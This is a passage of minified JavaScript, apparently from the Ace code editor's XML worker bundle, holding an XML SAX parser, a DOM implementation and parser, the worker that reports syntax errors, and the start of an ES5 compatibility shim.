t+1}function w(e,t,n,r){var i=r[n];return i==null&&(i=r[n]=e.lastIndexOf(\"</\"+n+\">\")),i<t}function E(e,t){for(var n in e)t[n]=e[n]}function S(e,t,n,r){var i=e.charAt(t+2);switch(i){case\"-\":if(e.charAt(t+3)===\"-\"){var s=e.indexOf(\"-->\",t+4);return s>t?(n.comment(e,t+4,s-t-4),s+3):(r.error(\"Unclosed comment\"),-1)}return-1;default:if(e.substr(t+3,6)==\"CDATA[\"){var s=e.indexOf(\"]]>\",t+9);return n.startCDATA(),n.characters(e,t+9,s-t-9),n.endCDATA(),s+3}var o=C(e,t),u=o.length;if(u>1&&/!doctype/i.test(o[0][0])){var a=o[1][0],f=u>3&&/^public$/i.test(o[2][0])&&o[3][0],l=u>4&&o[4][0],c=o[u-1];return n.startDTD(a,f&&f.replace(/^(['\"])(.*?)\\1$/,\"$2\"),l&&l.replace(/^(['\"])(.*?)\\1$/,\"$2\")),n.endDTD(),c.index+c[0].length}}return-1}function x(e,t,n){var r=e.indexOf(\"?>\",t);if(r){var i=e.substring(t,r).match(/^<\\?(\\S*)\\s*([\\s\\S]*?)\\s*$/);if(i){var s=i[0].length;return n.processingInstruction(i[1],i[2]),r+2}return-1}return-1}function T(e){}function N(e,t){return e.__proto__=t,e}function C(e,t){var n,r=[],i=/'[^']+'|\"[^\"]+\"|[^\\s<>\\/=]+=?|(\\/?\\s*>|<)/g;i.lastIndex=t,i.exec(e);while(n=i.exec(e)){r.push(n);if(n[1])return r}}var r=/[A-Z_a-z\\xC0-\\xD6\\xD8-\\xF6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD]/,i=new RegExp(\"[\\\\-\\\\.0-9\"+r.source.slice(1,-1)+\"\\u00b7\\u0300-\\u036f\\\\ux203F-\\u2040]\"),s=new RegExp(\"^\"+r.source+i.source+\"*(?::\"+r.source+i.source+\"*)?$\"),o=0,u=1,a=2,f=3,l=4,c=5,h=6,p=7;return d.prototype={parse:function(e,t,n){var r=this.domBuilder;r.startDocument(),E(t,t={}),v(e,t,n,r,this.errorHandler),r.endDocument()}},T.prototype={setTagName:function(e){if(!s.test(e))throw new Error(\"invalid tagName:\"+e);this.tagName=e},add:function(e,t,n){if(!s.test(e))throw new Error(\"invalid attribute:\"+e);this[this.length++]={qName:e,value:t,offset:n}},length:0,getLocalName:function(e){return this[e].localName},getOffset:function(e){return this[e].offset},getQName:function(e){return this[e].qName},getURI:function(e){return this[e].uri},getValue:function(e){return this[e].value}},N({},N.prototype)instanceof N||(N=function(e,t){function n(){}n.prototype=t,n=new n;for(t in e)n[t]=e[t];return n}),d}),define(\"ace/mode/xml/dom\",[\"require\",\"exports\",\"module\"],function(e,t,n){function r(e,t){for(var n in e)t[n]=e[n]}function i(e,t){var n=e.prototype;if(Object.create){var i=Object.create(t.prototype);n.__proto__=i}if(!(n instanceof t)){function s(){}s.prototype=t.prototype,s=new s,r(n,s),e.prototype=n=s}n.constructor!=e&&(typeof e!=\"function\"&&console.error(\"unknow Class:\"+e),n.constructor=e)}function B(e,t){if(t instanceof Error)var n=t;else n=this,Error.call(this,w[e]),this.message=w[e],Error.captureStackTrace&&Error.captureStackTrace(this,B);return n.code=e,t&&(this.message=this.message+\": \"+t),n}function j(){}function F(e,t){this._node=e,this._refresh=t,I(this)}function I(e){var t=e._node._inc||e._node.ownerDocument._inc;if(e._inc!=t){var n=e._refresh(e._node);gt(e,\"length\",n.length),r(n,e),e._inc=t}}function q(){}function R(e,t){var n=e.length;while(n--)if(e[n]===t)return n}function U(e,t,n,r){r?t[R(t,r)]=n:t[t.length++]=n;if(e){n.ownerElement=e;var i=e.ownerDocument;i&&(r&&Q(i,e,r),K(i,e,n))}}function z(e,t,n){var r=R(t,n);if(!(r>=0))throw B(L,new Error);var i=t.length-1;while(r<i)t[r]=t[++r];t.length=i;if(e){var s=e.ownerDocument;s&&(Q(s,e,n),n.ownerElement=null)}}function W(e){this._features={};if(e)for(var t in e)this._features=e[t]}function X(){}function V(e){return e==\"<\"&&\"&lt;\"||e==\">\"&&\"&gt;\"||e==\"&\"&&\"&amp;\"||e=='\"'&&\"&quot;\"||\"&#\"+e.charCodeAt()+\";\"}function $(e,t){if(t(e))return!0;if(e=e.firstChild)do if($(e,t))return!0;while(e=e.nextSibling)}function J(){}function K(e,t,n){e&&e._inc++;var r=n.namespaceURI;r==\"http://www.w3.org/2000/xmlns/\"&&(t._nsMap[n.prefix?n.localName:\"\"]=n.value)}function Q(e,t,n,r){e&&e._inc++;var i=n.namespaceURI;i==\"http://www.w3.org/2000/xmlns/\"&&delete t._nsMap[n.prefix?n.localName:\"\"]}function G(e,t,n){if(e&&e._inc){e._inc++;var r=t.childNodes;if(n)r[r.length++]=n;else{var i=t.firstChild,s=0;while(i)r[s++]=i,i=i.nextSibling;r.length=s}}}function Y(e,t){var n=t.previousSibling,r=t.nextSibling;return n?n.nextSibling=r:e.firstChild=r,r?r.previousSibling=n:e.lastChild=n,G(e.ownerDocument,e),t}function Z(e,t,n){var r=t.parentNode;r&&r.removeChild(t);if(t.nodeType===g){var i=t.firstChild;if(i==null)return t;var s=t.lastChild}else i=s=t;var o=n?n.previousSibling:e.lastChild;i.previousSibling=o,s.nextSibling=n,o?o.nextSibling=i:e.firstChild=i,n==null?e.lastChild=s:n.previousSibling=s;do i.parentNode=e;while(i!==s&&(i=i.nextSibling));return G(e.ownerDocument||e,e),t.nodeType==g&&(t.firstChild=t.lastChild=null),t}function et(e,t){var n=t.parentNode;if(n){var r=e.lastChild;n.removeChild(t);var r=e.lastChild}var r=e.lastChild;return t.parentNode=e,t.previousSibling=r,t.nextSibling=null,r?r.nextSibling=t:e.firstChild=t,e.lastChild=t,G(e.ownerDocument,e,t),t}function tt(){this._nsMap={}}function nt(){}function rt(){}function it(){}function st(){}function ot(){}function ut(){}function at(){}function ft(){}function lt(){}function ct(){}function ht(){}function pt(){}function dt(e,t){switch(e.nodeType){case u:var n=e.attributes,r=n.length,i=e.firstChild,o=e.tagName,h=s===e.namespaceURI;t.push(\"<\",o);for(var y=0;y<r;y++)dt(n.item(y),t,h);if(i||h&&!/^(?:meta|link|img|br|hr|input|button)$/i.test(o)){t.push(\">\");if(h&&/^script$/i.test(o))i&&t.push(i.data);else while(i)dt(i,t),i=i.nextSibling;t.push(\"</\",o,\">\")}else t.push(\"/>\");return;case v:case g:var i=e.firstChild;while(i)dt(i,t),i=i.nextSibling;return;case a:return t.push(\" \",e.name,'=\"',e.value.replace(/[<&\"]/g,V),'\"');case f:return t.push(e.data.replace(/[<&]/g,V));case l:return t.push(\"<![CDATA[\",e.data,\"]]>\");case d:return t.push(\"<!--\",e.data,\"-->\");case m:var b=e.publicId,w=e.systemId;t.push(\"<!DOCTYPE \",e.name);if(b)t.push(' PUBLIC \"',b),w&&w!=\".\"&&t.push('\" \"',w),t.push('\">');else if(w&&w!=\".\")t.push(' SYSTEM \"',w,'\">');else{var E=e.internalSubset;E&&t.push(\" [\",E,\"]\"),t.push(\">\")}return;case p:return t.push(\"<?\",e.target,\" \",e.data,\"?>\");case c:return t.push(\"&\",e.nodeName,\";\");default:t.push(\"??\",e.nodeName)}}function vt(e,t,n){var r;switch(t.nodeType){case u:r=t.cloneNode(!1),r.ownerDocument=e;case g:break;case a:n=!0}r||(r=t.cloneNode(!1)),r.ownerDocument=e,r.parentNode=null;if(n){var i=t.firstChild;while(i)r.appendChild(vt(e,i,n)),i=i.nextSibling}return r}function mt(e,t,n){var r=new t.constructor;for(var i in t){var s=t[i];typeof s!=\"object\"&&s!=r[i]&&(r[i]=s)}t.childNodes&&(r.childNodes=new j),r.ownerDocument=e;switch(r.nodeType){case u:var o=t.attributes,f=r.attributes=new q,l=o.length;f._ownerElement=r;for(var c=0;c<l;c++)r.setAttributeNode(mt(e,o.item(c),!0));break;case a:n=!0}if(n){var h=t.firstChild;while(h)r.appendChild(mt(e,h,n)),h=h.nextSibling}return r}function gt(e,t,n){e[t]=n}var s=\"http://www.w3.org/1999/xhtml\",o={},u=o.ELEMENT_NODE=1,a=o.ATTRIBUTE_NODE=2,f=o.TEXT_NODE=3,l=o.CDATA_SECTION_NODE=4,c=o.ENTITY_REFERENCE_NODE=5,h=o.ENTITY_NODE=6,p=o.PROCESSING_INSTRUCTION_NODE=7,d=o.COMMENT_NODE=8,v=o.DOCUMENT_NODE=9,m=o.DOCUMENT_TYPE_NODE=10,g=o.DOCUMENT_FRAGMENT_NODE=11,y=o.NOTATION_NODE=12,b={},w={},E=b.INDEX_SIZE_ERR=(w[1]=\"Index size error\",1),S=b.DOMSTRING_SIZE_ERR=(w[2]=\"DOMString size error\",2),x=b.HIERARCHY_REQUEST_ERR=(w[3]=\"Hierarchy request error\",3),T=b.WRONG_DOCUMENT_ERR=(w[4]=\"Wrong document\",4),N=b.INVALID_CHARACTER_ERR=(w[5]=\"Invalid character\",5),C=b.NO_DATA_ALLOWED_ERR=(w[6]=\"No data allowed\",6),k=b.NO_MODIFICATION_ALLOWED_ERR=(w[7]=\"No modification allowed\",7),L=b.NOT_FOUND_ERR=(w[8]=\"Not found\",8),A=b.NOT_SUPPORTED_ERR=(w[9]=\"Not supported\",9),O=b.INUSE_ATTRIBUTE_ERR=(w[10]=\"Attribute in use\",10),M=b.INVALID_STATE_ERR=(w[11]=\"Invalid state\",11),_=b.SYNTAX_ERR=(w[12]=\"Syntax error\",12),D=b.INVALID_MODIFICATION_ERR=(w[13]=\"Invalid modification\",13),P=b.NAMESPACE_ERR=(w[14]=\"Invalid namespace\",14),H=b.INVALID_ACCESS_ERR=(w[15]=\"Invalid access\",15);B.prototype=Error.prototype,r(b,B),j.prototype={length:0,item:function(e){return this[e]||null}},F.prototype.item=function(e){return I(this),this[e]},i(F,j),q.prototype={length:0,item:j.prototype.item,getNamedItem:function(e){var t=this.length;while(t--){var n=this[t];if(n.nodeName==e)return n}},setNamedItem:function(e){var t=e.ownerElement;if(t&&t!=this._ownerElement)throw new B(O);var n=this.getNamedItem(e.nodeName);return U(this._ownerElement,this,e,n),n},setNamedItemNS:function(e){var t=e.ownerElement,n;if(t&&t!=this._ownerElement)throw new B(O);return n=this.getNamedItemNS(e.namespaceURI,e.localName),U(this._ownerElement,this,e,n),n},removeNamedItem:function(e){var t=this.getNamedItem(e);return z(this._ownerElement,this,t),t},removeNamedItemNS:function(e,t){var n=this.getNamedItemNS(e,t);return z(this._ownerElement,this,n),n},getNamedItemNS:function(e,t){var n=this.length;while(n--){var r=this[n];if(r.localName==t&&r.namespaceURI==e)return r}return null}},W.prototype={hasFeature:function(e,t){var n=this._features[e.toLowerCase()];return n&&(!t||t in n)?!0:!1},createDocument:function(e,t,n){var r=new J;r.implementation=this,r.childNodes=new j,r.doctype=n,n&&r.appendChild(n);if(t){var i=r.createElementNS(e,t);r.appendChild(i)}return r},createDocumentType:function(e,t,n){var r=new ut;return r.name=e,r.nodeName=e,r.publicId=t,r.systemId=n,r}},X.prototype={firstChild:null,lastChild:null,previousSibling:null,nextSibling:null,attributes:null,parentNode:null,childNodes:null,ownerDocument:null,nodeValue:null,namespaceURI:null,prefix:null,localName:null,insertBefore:function(e,t){return Z(this,e,t)},replaceChild:function(e,t){this.insertBefore(e,t),t&&this.removeChild(t)},removeChild:function(e){return Y(this,e)},appendChild:function(e){return this.insertBefore(e,null)},hasChildNodes:function(){return this.firstChild!=null},cloneNode:function(e){return mt(this.ownerDocument||this,this,e)},normalize:function(){var e=this.firstChild;while(e){var t=e.nextSibling;t&&t.nodeType==f&&e.nodeType==f?(this.removeChild(t),e.appendData(t.data)):(e.normalize(),e=t)}},isSupported:function(e,t){return this.ownerDocument.implementation.hasFeature(e,t)},hasAttributes:function(){return this.attributes.length>0},lookupPrefix:function(e){var t=this;while(t){var n=t._nsMap;if(n)for(var r in n)if(n[r]==e)return r;t=t.nodeType==2?t.ownerDocument:t.parentNode}return null},lookupNamespaceURI:function(e){var t=this;while(t){var n=t._nsMap;if(n&&e in n)return n[e];t=t.nodeType==2?t.ownerDocument:t.parentNode}return null},isDefaultNamespace:function(e){var t=this.lookupPrefix(e);return t==null}},r(o,X),r(o,X.prototype),J.prototype={nodeName:\"#document\",nodeType:v,doctype:null,documentElement:null,_inc:1,insertBefore:function(e,t){if(e.nodeType==g){var n=e.firstChild;while(n){var r=n.nextSibling;this.insertBefore(n,t),n=r}return e}return this.documentElement==null&&e.nodeType==1&&(this.documentElement=e),Z(this,e,t),e.ownerDocument=this,e},removeChild:function(e){return this.documentElement==e&&(this.documentElement=null),Y(this,e)},importNode:function(e,t){return vt(this,e,t)},getElementById:function(e){var t=null;return $(this.documentElement,function(n){if(n.nodeType==1&&n.getAttribute(\"id\")==e)return t=n,!0}),t},createElement:function(e){var t=new tt;t.ownerDocument=this,t.nodeName=e,t.tagName=e,t.childNodes=new j;var n=t.attributes=new q;return n._ownerElement=t,t},createDocumentFragment:function(){var e=new ct;return e.ownerDocument=this,e.childNodes=new j,e},createTextNode:function(e){var t=new it;return t.ownerDocument=this,t.appendData(e),t},createComment:function(e){var t=new st;return t.ownerDocument=this,t.appendData(e),t},createCDATASection:function(e){var t=new ot;return t.ownerDocument=this,t.appendData(e),t},createProcessingInstruction:function(e,t){var n=new ht;return n.ownerDocument=this,n.tagName=n.target=e,n.nodeValue=n.data=t,n},createAttribute:function(e){var t=new nt;return t.ownerDocument=this,t.name=e,t.nodeName=e,t.localName=e,t.specified=!0,t},createEntityReference:function(e){var t=new lt;return t.ownerDocument=this,t.nodeName=e,t},createElementNS:function(e,t){var n=new tt,r=t.split(\":\"),i=n.attributes=new q;return n.childNodes=new j,n.ownerDocument=this,n.nodeName=t,n.tagName=t,n.namespaceURI=e,r.length==2?(n.prefix=r[0],n.localName=r[1]):n.localName=t,i._ownerElement=n,n},createAttributeNS:function(e,t){var n=new nt,r=t.split(\":\");return n.ownerDocument=this,n.nodeName=t,n.name=t,n.namespaceURI=e,n.specified=!0,r.length==2?(n.prefix=r[0],n.localName=r[1]):n.localName=t,n}},i(J,X),tt.prototype={nodeType:u,hasAttribute:function(e){return this.getAttributeNode(e)!=null},getAttribute:function(e){var t=this.getAttributeNode(e);return t&&t.value||\"\"},getAttributeNode:function(e){return this.attributes.getNamedItem(e)},setAttribute:function(e,t){var n=this.ownerDocument.createAttribute(e);n.value=n.nodeValue=\"\"+t,this.setAttributeNode(n)},removeAttribute:function(e){var t=this.getAttributeNode(e);t&&this.removeAttributeNode(t)},appendChild:function(e){return e.nodeType===g?this.insertBefore(e,null):et(this,e)},setAttributeNode:function(e){return this.attributes.setNamedItem(e)},setAttributeNodeNS:function(e){return this.attributes.setNamedItemNS(e)},removeAttributeNode:function(e){return this.attributes.removeNamedItem(e.nodeName)},removeAttributeNS:function(e,t){var n=this.getAttributeNodeNS(e,t);n&&this.removeAttributeNode(n)},hasAttributeNS:function(e,t){return this.getAttributeNodeNS(e,t)!=null},getAttributeNS:function(e,t){var n=this.getAttributeNodeNS(e,t);return n&&n.value||\"\"},setAttributeNS:function(e,t,n){var r=this.ownerDocument.createAttributeNS(e,t);r.value=r.nodeValue=\"\"+n,this.setAttributeNode(r)},getAttributeNodeNS:function(e,t){return this.attributes.getNamedItemNS(e,t)},getElementsByTagName:function(e){return new F(this,function(t){var n=[];return $(t,function(r){r!==t&&r.nodeType==u&&(e===\"*\"||r.tagName==e)&&n.push(r)}),n})},getElementsByTagNameNS:function(e,t){return new F(this,function(n){var r=[];return $(n,function(i){i!==n&&i.nodeType===u&&(e===\"*\"||i.namespaceURI===e)&&(t===\"*\"||i.localName==t)&&r.push(i)}),r})}},J.prototype.getElementsByTagName=tt.prototype.getElementsByTagName,J.prototype.getElementsByTagNameNS=tt.prototype.getElementsByTagNameNS,i(tt,X),nt.prototype.nodeType=a,i(nt,X),rt.prototype={data:\"\",substringData:function(e,t){return this.data.substring(e,e+t)},appendData:function(e){e=this.data+e,this.nodeValue=this.data=e,this.length=e.length},insertData:function(e,t){this.replaceData(e,0,t)},appendChild:function(e){throw new Error(w[3])},deleteData:function(e,t){this.replaceData(e,t,\"\")},replaceData:function(e,t,n){var r=this.data.substring(0,e),i=this.data.substring(e+t);n=r+n+i,this.nodeValue=this.data=n,this.length=n.length}},i(rt,X),it.prototype={nodeName:\"#text\",nodeType:f,splitText:function(e){var t=this.data,n=t.substring(e);t=t.substring(0,e),this.data=this.nodeValue=t,this.length=t.length;var r=this.ownerDocument.createTextNode(n);return this.parentNode&&this.parentNode.insertBefore(r,this.nextSibling),r}},i(it,rt),st.prototype={nodeName:\"#comment\",nodeType:d},i(st,rt),ot.prototype={nodeName:\"#cdata-section\",nodeType:l},i(ot,rt),ut.prototype.nodeType=m,i(ut,X),at.prototype.nodeType=y,i(at,X),ft.prototype.nodeType=h,i(ft,X),lt.prototype.nodeType=c,i(lt,X),ct.prototype.nodeName=\"#document-fragment\",ct.prototype.nodeType=g,i(ct,X),ht.prototype.nodeType=p,i(ht,X),pt.prototype.serializeToString=function(e){var t=[];return dt(e,t),t.join(\"\")},X.prototype.toString=function(){return pt.prototype.serializeToString(this)};try{if(Object.defineProperty){Object.defineProperty(F.prototype,\"length\",{get:function(){return I(this),this.$$length}}),Object.defineProperty(X.prototype,\"textContent\",{get:function(){return yt(this)},set:function(e){switch(this.nodeType){case 1:case 11:while(this.firstChild)this.removeChild(this.firstChild);(e||String(e))&&this.appendChild(this.ownerDocument.createTextNode(e));break;default:this.data=e,this.value=value,this.nodeValue=e}}});function yt(e){switch(e.nodeType){case 1:case 11:var t=[];e=e.firstChild;while(e)e.nodeType!==7&&e.nodeType!==8&&t.push(yt(e)),e=e.nextSibling;return t.join(\"\");default:return e.nodeValue}}gt=function(e,t,n){e[\"$$\"+t]=n}}}catch(bt){}return W}),define(\"ace/mode/xml/dom-parser\",[\"require\",\"exports\",\"module\",\"ace/mode/xml/sax\",\"ace/mode/xml/dom\"],function(e,t,n){\"use strict\";function s(e){this.options=e||{locator:{}}}function o(e,t,n){function s(t){var s=e[t];if(!s)if(i)s=e.length==2?function(n){e(t,n)}:e;else{var o=arguments.length;while(--o)if(s=e[arguments[o]])break}r[t]=s&&function(e){s(e+f(n),e,n)}||function(){}}if(!e){if(t instanceof u)return t;e=t}var r={},i=e instanceof Function;return n=n||{},s(\"warning\",\"warn\"),s(\"error\",\"warn\",\"warning\"),s(\"fatalError\",\"warn\",\"warning\",\"error\"),r}function u(){this.cdata=!1}function a(e,t){t.lineNumber=e.lineNumber,t.columnNumber=e.columnNumber}function f(e){if(e)return\"\\n@\"+(e.systemId||\"\")+\"#[line:\"+e.lineNumber+\",col:\"+e.columnNumber+\"]\"}function l(e,t,n){return typeof e==\"string\"?e.substr(t,n):e.length>=t+n||t?new java.lang.String(e,t,n)+\"\":e}function c(e,t){e.currentElement?e.currentElement.appendChild(t):e.document.appendChild(t)}var r=e(\"./sax\"),i=e(\"./dom\");return s.prototype.parseFromString=function(e,t){var n=this.options,i=new r,s=n.domBuilder||new u,a=n.errorHandler,f=n.locator,l=n.xmlns||{},c={lt:\"<\",gt:\">\",amp:\"&\",quot:'\"',apos:\"'\"};return f&&s.setDocumentLocator(f),i.errorHandler=o(a,s,f),i.domBuilder=n.domBuilder||s,/\\/x?html?$/.test(t)&&(c.nbsp=\"\\u00a0\",c.copy=\"\\u00a9\",l[\"\"]=\"http://www.w3.org/1999/xhtml\"),e?i.parse(e,l,c):i.errorHandler.error(\"invalid document source\"),s.document},u.prototype={startDocument:function(){this.document=(new i).createDocument(null,null,null),this.locator&&(this.document.documentURI=this.locator.systemId)},startElement:function(e,t,n,r){var i=this.document,s=i.createElementNS(e,n||t),o=r.length;c(this,s),this.currentElement=s,this.locator&&a(this.locator,s);for(var u=0;u<o;u++){var e=r.getURI(u),f=r.getValue(u),n=r.getQName(u),l=i.createAttributeNS(e,n);l.getOffset&&a(l.getOffset(1),l),l.value=l.nodeValue=f,s.setAttributeNode(l)}},endElement:function(e,t,n){var r=this.currentElement,i=r.tagName;this.currentElement=r.parentNode},startPrefixMapping:function(e,t){},endPrefixMapping:function(e){},processingInstruction:function(e,t){var n=this.document.createProcessingInstruction(e,t);this.locator&&a(this.locator,n),c(this,n)},ignorableWhitespace:function(e,t,n){},characters:function(e,t,n){e=l.apply(this,arguments);if(this.currentElement&&e){if(this.cdata){var r=this.document.createCDATASection(e);this.currentElement.appendChild(r)}else{var r=this.document.createTextNode(e);this.currentElement.appendChild(r)}this.locator&&a(this.locator,r)}},skippedEntity:function(e){},endDocument:function(){this.document.normalize()},setDocumentLocator:function(e){if(this.locator=e)e.lineNumber=0},comment:function(e,t,n){e=l.apply(this,arguments);var r=this.document.createComment(e);this.locator&&a(this.locator,r),c(this,r)},startCDATA:function(){this.cdata=!0},endCDATA:function(){this.cdata=!1},startDTD:function(e,t,n){var r=this.document.implementation;if(r&&r.createDocumentType){var i=r.createDocumentType(e,t,n);this.locator&&a(this.locator,i),c(this,i)}},warning:function(e){console.warn(e,f(this.locator))},error:function(e){console.error(e,f(this.locator))},fatalError:function(e){throw console.error(e,f(this.locator)),e}},\"endDTD,startEntity,endEntity,attributeDecl,elementDecl,externalEntityDecl,internalEntityDecl,resolveEntity,getExternalSubset,notationDecl,unparsedEntityDecl\".replace(/\\w+/g,function(e){u.prototype[e]=function(){return null}}),{DOMParser:s}}),define(\"ace/mode/xml_worker\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/worker/mirror\",\"ace/mode/xml/dom-parser\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"../worker/mirror\").Mirror,o=e(\"./xml/dom-parser\").DOMParser,u=t.Worker=function(e){s.call(this,e),this.setTimeout(400),this.context=null};r.inherits(u,s),function(){this.setOptions=function(e){this.context=e.context},this.onUpdate=function(){var e=this.doc.getValue();if(!e)return;var t=new o,n=[];t.options.errorHandler={fatalError:function(e,t,r){n.push({row:r.lineNumber,column:r.columnNumber,text:t,type:\"error\"})},error:function(e,t,r){n.push({row:r.lineNumber,column:r.columnNumber,text:t,type:\"error\"})},warning:function(e,t,r){n.push({row:r.lineNumber,column:r.columnNumber,text:t,type:\"warning\"})}},t.parseFromString(e),this.sender.emit(\"error\",n)}}.call(u.prototype)}),define(\"ace/lib/es5-shim\",[\"require\",\"exports\",\"module\"],function(e,t,n){function r(){}function w(e){try{return Object.defineProperty(e,\"sentinel\",{}),\"sentinel\"in e}catch(t){}}function H(e){return e=+e,e!==e?e=0:e!==0&&e!==1/0&&e!==-1/0&&(e=(e>0||-1)*Math.floor(Math.abs(e))),e}function B(e){var t=typeof e;return e===null||t===\"undefined\"||t===\"boolean\"||t===\"number\"||t===\"string\"}function j(e){var t,n,r;if(B(e))return e;n=e.valueOf;if(typeof n==\"function\"){t=n.call(e);if(B(t))return t}r=e.toString;if(typeof r==\"function\"){t=r.call(e);if(B(t))return t}throw new TypeError}Function.prototype.bind||(Function.prototype.bind=function(t){var n=this;if(typeof n!=\"function\")throw new TypeError(\"Function.prototype.bind called on incompatible \"+n);var i=u.call(arguments,1),s=function(){if(this instanceof s){var e=n.apply(this,i.concat(u.call(arguments)));return Object(e)===e?e:this}return n.apply(t,i.concat(u.call(arguments)))};return n.prototype&&(r.prototype=n.prototype,s.prototype=new r,r.prototype=null),s});var i=Function.prototype.call,s=Array.prototype,o=Object.prototype,u=s.slice,a=i.bind(o.toString),f=i.bind(o.hasOwnProperty),l,c,h,p,d;if(d=f(o,\"__defineGetter__\"))l=i.bind(o.__defineGetter__),c=i.bind(o.__defineSetter__),h=i.bind(o.__lookupGetter__),p=i.bind(o.__lookupSetter__);if([1,2].splice(0).length!=2)if(!function(){function e(e){var t=new Array(e+2);return t[0]=t[1]=0,t}var t=[],n;t.splice.apply(t,e(20)),t.splice.apply(t,e(26)),n=t.length,t.splice(5,0,\"XXX\"),n+1==t.length;if(n+1==t.length)return!0}())Array.prototype.splice=function(e,t){var n=this.length;e>0?e>n&&(e=n):e==void 0?e=0:e<0&&(e=Math.max(n+e,0)),e+t<n||(t=n-e);var r=this.slice(e,e+t),i=u.call(arguments,2),s=i.length;if(e===n)s&&this.push.apply(this,i);else{var o=Math.min(t,n-e),a=e+o,f=a+s-o,l=n-a,c=n-o;if(f<a)for(var h=0;h<l;++h)this[f+h]=this[a+h];else if(f>a)for(h=l;h--;)this[f+h]=this[a+h];if(s&&e===c)this.length=c,this.push.apply(this,i);else{this.length=c+s;for(h=0;h<s;++h)this[e+h]=i[h]}}return r};else{var v=Array.prototype.splice;Array.prototype.splice=function(e,t){return arguments.length?v.apply(this,[e===void 0?0:e,t===void 0?this.length-e:t].concat(u.call(arguments,2))):[]}}Array.isArray||(Array.isArray=function(t){return a(t)==\"[object Array]\"});var m=Object(\"a\"),g=m[0]!=\"a\"||!(0 in m);Array.prototype.forEach||(Array.prototype.forEach=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=arguments[1],s=-1,o=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError;while(++s<o)s in r&&t.call(i,r[s],s,n)}),Array.prototype.map||(Array.prototype.map=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=Array(i),o=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var u=0;u<i;u++)u in r&&(s[u]=t.call(o,r[u],u,n));return s}),Array.prototype.filter||(Array.prototype.filter=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=[],o,u=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var f=0;f<i;f++)f in r&&(o=r[f],t.call(u,o,f,n)&&s.push(o));return s}),Array.prototype.every||(Array.prototype.every=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&!t.call(s,r[o],o,n))return!1;return!0}),Array.prototype.some||(Array.prototype.some=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&t.call(s,r[o],o,n))return!0;return!1}),Array.prototype.reduce||(Array.prototype.reduce=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduce of empty array with no initial value\");var s=0,o;if(arguments.length>=2)o=arguments[1];else do{if(s in r){o=r[s++];break}if(++s>=i)throw new TypeError(\"reduce of empty array with no initial value\")}while(!0);for(;s<i;s++)s in r&&(o=t.call(void 0,o,r[s],s,n));return o}),Array.prototype.reduceRight||(Array.prototype.reduceRight=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduceRight of empty array with no initial value\");var s,o=i-1;if(arguments.length>=2)s=arguments[1];else do{if(o in r){s=r[o--];break}if(--o<0)throw new TypeError(\"reduceRight of empty array with no initial value\")}while(!0);do o in this&&(s=t.call(void 0,s,r[o],o,n));while(o--);return s});if(!Array.prototype.indexOf||[0,1].indexOf(1,2)!=-1)Array.prototype.indexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=0;arguments.length>1&&(i=H(arguments[1])),i=i>=0?i:Math.max(0,r+i);for(;i<r;i++)if(i in n&&n[i]===t)return i;return-1};if(!Array.prototype.lastIndexOf||[0,1].lastIndexOf(0,-3)!=-1)Array.prototype.lastIndexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=r-1;arguments.length>1&&(i=Math.min(i,H(arguments[1]))),i=i>=0?i:r-Math.abs(i);for(;i>=0;i--)if(i in n&&t===n[i])return i;return-1};Object.getPrototypeOf||(Object.getPrototypeOf=function(t){return t.__proto__||(t.constructor?t.constructor.prototype:o)});if(!Object.getOwnPropertyDescriptor){var y=\"Object.getOwnPropertyDescriptor called on a non-object: \";Object.getOwnPropertyDescriptor=function(t,n){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(y+t);if(!f(t,n))return;var r,i,s;r={enumerable:!0,configurable:!0};if(d){var u=t.__proto__;t.__proto__=o;var i=h(t,n),s=p(t,n);t.__proto__=u;if(i||s)return i&&(r.get=i),s&&(r.set=s),r}return r.value=t[n],r}}Object.getOwnPropertyNames||(Object.getOwnPropertyNames=function(t){return Object.keys(t)});if(!Object.create){var b;Object.prototype.__proto__===null?b=function(){return{__proto__:null}}:b=function(){var e={};for(var t in e)e[t]=null;return e.constructor=e.hasOwnProperty=e.propertyIsEnumerable=e.isPrototypeOf=e.toLocaleString=e.toString=e.valueOf=e.__proto__=null,e},Object.create=function(t,n){var r;if(t===null)r=b();else{if(typeof t!=\"object\")throw new TypeError(\"typeof prototype[\"+typeof t+\"] != 'object'\");var i=function(){};i.prototype=t,r=new i,r.__proto__=t}return n!==void 0&&Object.defineProperties(r,n),r}}if(Object.defineProperty){var E=w({}),S=typeof document==\"undefined\"||w(document.createElement(\"div\"));if(!E||!S)var x=Object.defineProperty}if(!Object.defineProperty||x){var T=\"Property description must be an object: 